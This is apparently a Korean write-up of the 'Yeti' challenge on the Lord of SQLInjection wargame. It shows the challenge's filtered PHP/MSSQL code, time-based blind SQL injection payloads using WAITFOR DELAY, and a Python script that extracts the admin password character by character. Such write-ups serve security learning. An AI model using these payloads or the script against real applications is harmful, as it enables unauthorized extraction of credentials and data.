WriteUp/LOS_rubiya

LOS -rubiya : Yeti

vared 2020. 5. 14. 23:18

<코드 분석>

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("yeti");
  if(preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);

  $query = "select pw from prob_yeti where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("yeti"); 
  highlight_file(__FILE__);
?>

mssql 환경에서 진행된다.

id, pw 필터링 항목 확인해보면, master, sys, information, ; 있다.

쿼리에 입력 받아주고, id admin result pw 값이 Get 방식으로 입력해준 pw 같다면 문제가 풀린다.


<해설>

에러를 없다. time 관련해서는 필터링 것이 없으니까 time based sql injection 시도해보자.

이전에 mysql sleep 함수가 있었는데, mssql 환경에서는 WAITFOR DELAY '0:0:2' 이런식으로 줘야한다고 한다. 한번 테스트해보자.

?id=' waitfor delay '0:0:2' --

2 뒤에 로드되는 것을 있다.

원하는 길이에 대해서 시도해보자.

?id=' if (select len(pw) from prob_yeti where id='admin')>0 waitfor delay '0:0:5'--

오케이 확인했으니 파이썬으로 구현해보자.

import requests
import time
PHPSESSID="본인의 PHPSESSID"
url="https://los.rubiya.kr/chall/yeti_e6afc70b892148ced2d1e063c1230255.php"
#length finding
i=0
while(1):
    print("testing length : "+str(i))
    pay="?id=' if (select len(pw) from prob_yeti where id='admin')="+str(i)+" waitfor delay '0:0:5'--"
    before=time.time()
    res=requests.get(url=url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
    after=time.time()
    if(after-before >2.0):
        print("found the length!! : "+str(i))
        length=i
        break
    i+=1

길이는 8이다. 이제 문자열을 찾아보자. 방법은 이전에 하던거랑 똑같다.

위에 코드에서 이어서 짜보자.

일단 원하는 query 가 작동하는지 확인부터 해보고 넣자.

?id=' if (select ascii(substring(pw,1,1)) from prob_yeti where id='admin')>0 waitfor delay '0:0:5'--

#pw finding
pw=""
for i in range(1,length+1):
    print("Testing for :"+str(i))
    for j in range(48,128):
        print("testing the character :"+chr(j))
        pay="?id=' if (select ascii(substring(pw,"+str(i)+",1)) from prob_yeti where id='admin')="+str(j)+" waitfor delay '0:0:5'--"
        before=time.time()
        res=requests.get(url=url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
        after=time.time()
        if(after-before >2):
            print("found the word...! : "+chr(j))
            pw+=chr(j)
            break
print(pw)

pw : 6425b725

 

Clear!